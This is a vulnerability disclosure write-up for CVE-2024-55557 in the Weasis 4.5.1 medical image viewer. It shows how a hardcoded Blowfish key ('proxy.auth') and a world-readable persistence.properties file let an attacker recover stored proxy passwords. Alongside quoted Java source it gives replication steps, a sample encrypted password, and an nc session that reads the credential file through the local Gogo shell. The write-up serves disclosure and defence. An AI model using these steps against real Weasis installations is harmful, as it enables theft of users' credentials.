CVE-2024-55557 - Weasis 4.5.1

Another CVE. But this time CVE-2024-55557 exposes a critical flaw in Weasis 4.5.1, where hardcoded keys compromise proxy credential encryption.


Summary

An unsafe and unprotected password file with weak encryption methods leads to full credentials disclosure. The attacker has different option to chain the required steps to pursue the attack: local file read or remote path disclosure and file read.

Short Details

The symmetric key is hardcoded in the product, thus leading to complete decryption. The attacker needs the base64 gzip encoded password and the key to decrypt and recover the password. Blowfhish is used in ECB mode so no IV is required. By reading the code it's possible to recover how this data is being saved on the disk and reverse the encryption. The gogo shell allows this attack from other users that normally should not access Weasis.

Image 7 from CVE-2024-55557 - Weasis 4.5.1

The analysis

- 1) ProxyPrefView → CryptoHandler: Handles encryption and decryption of proxy credentials using insecure Blowfish cryptography. - 2) ProxyPrefView → WProperties: Stores and retrieves sensitive data, relying on weak encoding mechanisms like Base64 and gzip. - 3) WProperties → Utils: Utilizes compression and decompression methods that do not provide actual security. - 4) CryptoHandler → Utils: Employs reusable decryption methods that lack key security and integrity checks. - 5) ConfigData → WProperties: Applies proxy settings, including potentially sensitive configurations, using WProperties. - 6) ConfigData → Utils: Processes configuration parameters through utility methods that may expose data. - 7) WProperties → ProxyPrefView: Supplies settings and data, potentially exposing vulnerabilities in the data flow. The attacker needs access to the server to read a local file or the port that the Weasis expose to read the proxy credentials and decrypt the password offline.

Image 10 from CVE-2024-55557 - Weasis 4.5.1

CryptoHandler.java

We are going to start from the crypto source code in weasis-core/src/main/java/org/weasis/core/api/gui/util/CryptoHandler.java In this case, the CryptoHandler class is entrusted with the task of handling encryption and decryption using, as we shall also see later, Blowfish and UTF-8 characters. Since no value is introduced from the nonce role, such as IV, and the key is passed as a parameter, it is sufficient to obtain the key to decrypt the password.
private static final String BLOWFISH = "Blowfish"; // NON-NLS

public static byte[] encrypt(byte[] input, String strKey) throws GeneralSecurityException {
    SecretKeySpec skeyspec = new SecretKeySpec(
        Objects.requireNonNull(strKey).getBytes(StandardCharsets.UTF_8),
        BLOWFISH
    );
    Cipher cipher = Cipher.getInstance(BLOWFISH);
    cipher.init(Cipher.ENCRYPT_MODE, skeyspec);
    return cipher.doFinal(input);
}

public static byte[] decrypt(byte[] input, String strKey) throws GeneralSecurityException {
    SecretKeySpec skeyspec = new SecretKeySpec(
        Objects.requireNonNull(strKey).getBytes(StandardCharsets.UTF_8),
        BLOWFISH
    );
    Cipher cipher = Cipher.getInstance(BLOWFISH);
    cipher.init(Cipher.DECRYPT_MODE, skeyspec);
    return cipher.doFinal(input);
}

ProxyPrefView.java

weasis-core/src/main/java/org/weasis/core/ui/pref/ProxyPrefView.java is the java file we are going to analyze now. ProxyPrefView.java manipulates the persistence file of user-related settings and preferences. It is in fact customised for each user who installs and uses Weasis.
private static final String PROXY_AUTH_PWD = "proxy.auth.pwd"; // NOSONAR
private static final String PROXY_AUTH_REQUIRED = "proxy.auth";

// Retrieving and decrypting the proxy password
private void initState() {
    WProperties p = GuiUtils.getUICore().getLocalPersistence();
    String pass = "";
    try {
        byte[] pwd = p.getByteArrayProperty(PROXY_AUTH_PWD, null);
        if (pwd != null) {
            pwd = CryptoHandler.decrypt(pwd, PROXY_AUTH_REQUIRED);
            if (pwd != null && pwd.length > 0) {
                pass = new String(pwd, StandardCharsets.UTF_8);
            }
        }
    } catch (Exception e) {
        // cut
    }
    proxyPass.setText(pass);
}

// Encrypting and storing the proxy password
public void closeAdditionalWindow() {
    WProperties p = GuiUtils.getUICore().getLocalPersistence();
    try {
        char[] pwd = proxyPass.getPassword();
        if (pwd != null && pwd.length > 0) {
            byte[] b = new byte[pwd.length];
            for (int i = 0; i < b.length; i++) {
                b[i] = (byte) pwd[i];
            }
            p.putByteArrayProperty(PROXY_AUTH_PWD, CryptoHandler.encrypt(b, PROXY_AUTH_REQUIRED));
        }
    } catch (Exception ex) {
        // cut
    }
}

Utils.java

Let's switch to the utilities in weasis-launcher/src/main/java/org/weasis/launcher/Utils.java This function show which Cipher is being used and the Charset. Using the information and the correct key data can be decrypted because Blowfish is a symmetric encryption scheme.
public static byte[] decrypt(byte[] input, String strKey) throws GeneralSecurityException {
    SecretKeySpec skeyspec = new SecretKeySpec(
        Objects.requireNonNull(strKey).getBytes(StandardCharsets.UTF_8),
        "Blowfish" // NON-NLS
    );
    Cipher cipher = Cipher.getInstance("Blowfish"); // NON-NLS
    cipher.init(Cipher.DECRYPT_MODE, skeyspec);
    return cipher.doFinal(input);
}

ConfigData.java

In the end hunt for the configuration in weasis-launcher/src/main/java/org/weasis/pref/ConfigData.java The ConfigData class is assigned the task of reading, configuring in the GUI and managing proxy-related options.
public static final String PARAM_ARGUMENT = "arg"; // NON-NLS
public static final String PARAM_PROPERTY = "pro"; // NON-NLS
public static final String PARAM_CODEBASE = "cdb"; // NON-NLS
public static final String PARAM_CODEBASE_EXT = "cdb-ext"; // NON-NLS
public static final String PARAM_AUTHORIZATION = "auth"; // NON-NLS

// cut

if (Utils.hasText(val)) {
applyProxyProperty("socksProxyPort", p.getProperty("proxy.socks.port"), mproxy); // NON-NLS
}

      boolean auth = Utils.getEmptyToFalse(p.getProperty("proxy.auth"));
      if (auth) {
        String authUser = p.getProperty("proxy.auth.user");
        String authPassword;
        try {
          byte[] pwd = Utils.getByteArrayProperty(p, "proxy.auth.pwd", null);
          if (pwd != null) {
            pwd = Utils.decrypt(pwd, "proxy.auth");
            if (pwd != null && pwd.length > 0) {
              authPassword = new String(pwd, StandardCharsets.UTF_8);
              applyPasswordAuthentication(authUser, authPassword);
              applyProxyProperty("http.proxyUser", authUser, mproxy);
              applyProxyProperty("http.proxyPassword", authPassword, mproxy);
            }
          }
        } catch (Exception e) {
          // cut
        }
      }
      //cut
}

  private static void applyPasswordAuthentication(
      final String authUser, final String authPassword) {
    Authenticator.setDefault(
        new Authenticator() {
          @Override
          public PasswordAuthentication getPasswordAuthentication() {
            return new PasswordAuthentication(authUser, authPassword.toCharArray());
          }
        });
  }

private static void applyProxyProperty(String key, String value, boolean manual) {
    if (manual && Utils.hasText(value)) {
    System.setProperty(key, value);
    }
}

WProperties.java

Our closing thouights go to weasis-core/src/main/java/org/weasis/core/api/service/WProperties.java java file. The putByteArrayProperty method encodes sensitive data using Base64 after gzip compression and stores it. This snippet is about password string saved in persistence.properties file and how to read it to obtain the correct byte sequence for AES.
public void putByteArrayProperty(String key, byte[] value) {
    if (isKeyValid(key)) {
        try {
            String val = StringUtil.EMPTY_STRING;
            if (value != null && value.length > 0) {
                val =
                    new String(
                        Base64.getEncoder().encode(GzipManager.gzipCompressToByte(value)),
                        StandardCharsets.UTF_8);
            }
            this.put(key, val);
        } catch (IOException e) {
            LOGGER.error("Set byte property", e);
        }
    }
}

POC

This POC showcase how another user can achieve the attack using an automatic exploit. As you can see he cannot read persistence file or run weasis because of missing snap privileges. However was still possible to execute the attack. To replicate the attack: - 1) Read the hardcoded key from the java files - 2) Read the file from local folder, read for other user (o+r) is enabled or using weasis:info and go:cat to print the file using the gogo shell - 3) Decrypt the password using gzip deflate and Blowfish with the key

Image 28 from CVE-2024-55557 - Weasis 4.5.1

Password Decryption - Local

After reading and analysing the preceding files, it is sufficient to gain read access to the persistence.properties file, located in a static path within the user's home folder, and decrypt its contents using the key: proxy.auth. The file path is always predictable and its permissions are wide, allowing everyone to read it.
#Tue Dec 10 15:40:24 GMT 2024
...
proxy.auth=true
proxy.auth.pwd=H4sIAAAAAAAA/9NkeOzmbOxkxSm0+47Jqq5ZP8NCT7jta10GAErDIWIYAAAA
proxy.auth.user=partywave
proxy.exceptions=
....

Password Decryption - Remote

Alternatively, simply connect to the port used by weasis and via the gogo shell obtain the necessary information. The decrypt is performed as previously mentioned. Remember that the representation involves gzip and base64 so the steps for decrypting are to be repeated in reverse order to obtain the correct byte sequence to use the key on.
nc 127.0.0.1 17179
____________________________
Welcome to Apache Felix Gogo

g! weasis:info -a
  Weasis 4.5.1
  Installation path: /home/pwave/snap/weasis/105/.weasis # <--- take the Weasis HOME folder
  ....
  User: pwave
  OSGI native specs: linux-x86-64
  Operating system: Linux 6.6.9-amd64 amd64
  ....

g! gogo:cat /home/pwave/snap/weasis/105/.weasis/data/weasis-core/persistence.properties
 #Tue Dec 10 15:40:24 GMT 2024
 ...
 proxy.auth=true
 proxy.auth.pwd=H4sIAAAAAAAA/9NkeOzmbOxkxSm0+47Jqq5ZP8NCT7jta10GAErDIWIYAAAA # <--- take the Weasis config file
 proxy.auth.user=partywave

Conclusion

You can find the exploit on my github
- CVE-2024-55557 exploit
Or read more my CVE or other 0day about password decryption, remote code execution, path traversal, deserializaiton, server side request forgery and much more at:
- other researches
For example:
- medpy vulnerability - CVE-2024-54819
Or you can read more about my Weasis exploitation techniques and research on:
- Weasis Java code injection